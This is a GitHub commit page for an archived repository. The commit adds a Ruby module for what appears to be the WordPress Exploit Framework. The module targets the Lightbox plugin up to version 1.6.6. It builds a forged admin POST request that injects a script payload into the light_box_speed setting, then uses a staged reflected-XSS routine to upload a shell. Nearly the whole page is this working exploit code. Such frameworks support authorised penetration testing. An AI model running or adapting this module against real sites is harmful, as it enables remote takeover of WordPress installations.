Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 79eead2

Browse files
committed
Add Lightbox <= 1.6.6 reflected XSS module
1 parent e86668e commit 79eead2

File tree

1 file changed

+62
-0
lines changed

1 file changed

+62
-0
lines changed
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
class Wpxf::Exploit::LightboxReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Lightbox <= 1.6.6 Reflected XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # WPXF module
11+
],
12+
references: [
13+
['WPVDB', '8662'],
14+
['URL', 'https://www.rastating.com/lightbox-1-6-6-csrf-stored-xss/']
15+
],
16+
date: 'Nov 13 2016'
17+
)
18+
end
19+
20+
def check
21+
check_plugin_version_from_readme('lightbox', '1.6.7')
22+
end
23+
24+
def vulnerable_url
25+
normalize_uri(wordpress_url_admin, 'admin.php?page=huge_it_light_box&hugeit_task=save')
26+
end
27+
28+
def initial_script
29+
create_basic_post_script(
30+
vulnerable_url,
31+
'light_box_style' => '1',
32+
'light_box_transition' => 'elastic',
33+
'light_box_speed' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
34+
'light_box_fadeout' => '300',
35+
'light_box_title' => 'false',
36+
'params[light_box_opacity]' => '20',
37+
'params[light_box_open]' => 'false',
38+
'params[light_box_overlayclose]' => 'true',
39+
'params[light_box_esckey]' => 'false',
40+
'params[light_box_arrowkey]' => 'false',
41+
'params[light_box_loop]' => 'true',
42+
'params[light_box_closebutton]' => 'true',
43+
'params[light_box_fixed]' => 'true',
44+
'params[slider_title_position]' => '5',
45+
'params[light_box_size_fix]' => 'false',
46+
'params[light_box_width]' => '500',
47+
'params[light_box_height]' => '500',
48+
'params[light_box_maxwidth]' => '768',
49+
'params[light_box_maxheight]' => '500',
50+
'params[light_box_initialwidth]' => '300',
51+
'params[light_box_initialheight]' => '100',
52+
'params[light_box_slideshow]' => 'false',
53+
'params[light_box_slideshowspeed]' => '2500',
54+
'params[light_box_slideshowauto]' => 'true',
55+
'params[light_box_slideshowstart]' => 'start slideshow',
56+
'params[light_box_slideshowstop]' => 'stop slideshow',
57+
'params[watermarket_image]' => 'false',
58+
'params[watermark_width]' => '0',
59+
'params[watermark_transparency]' => '0'
60+
)
61+
end
62+
end

0 commit comments

Comments
 (0)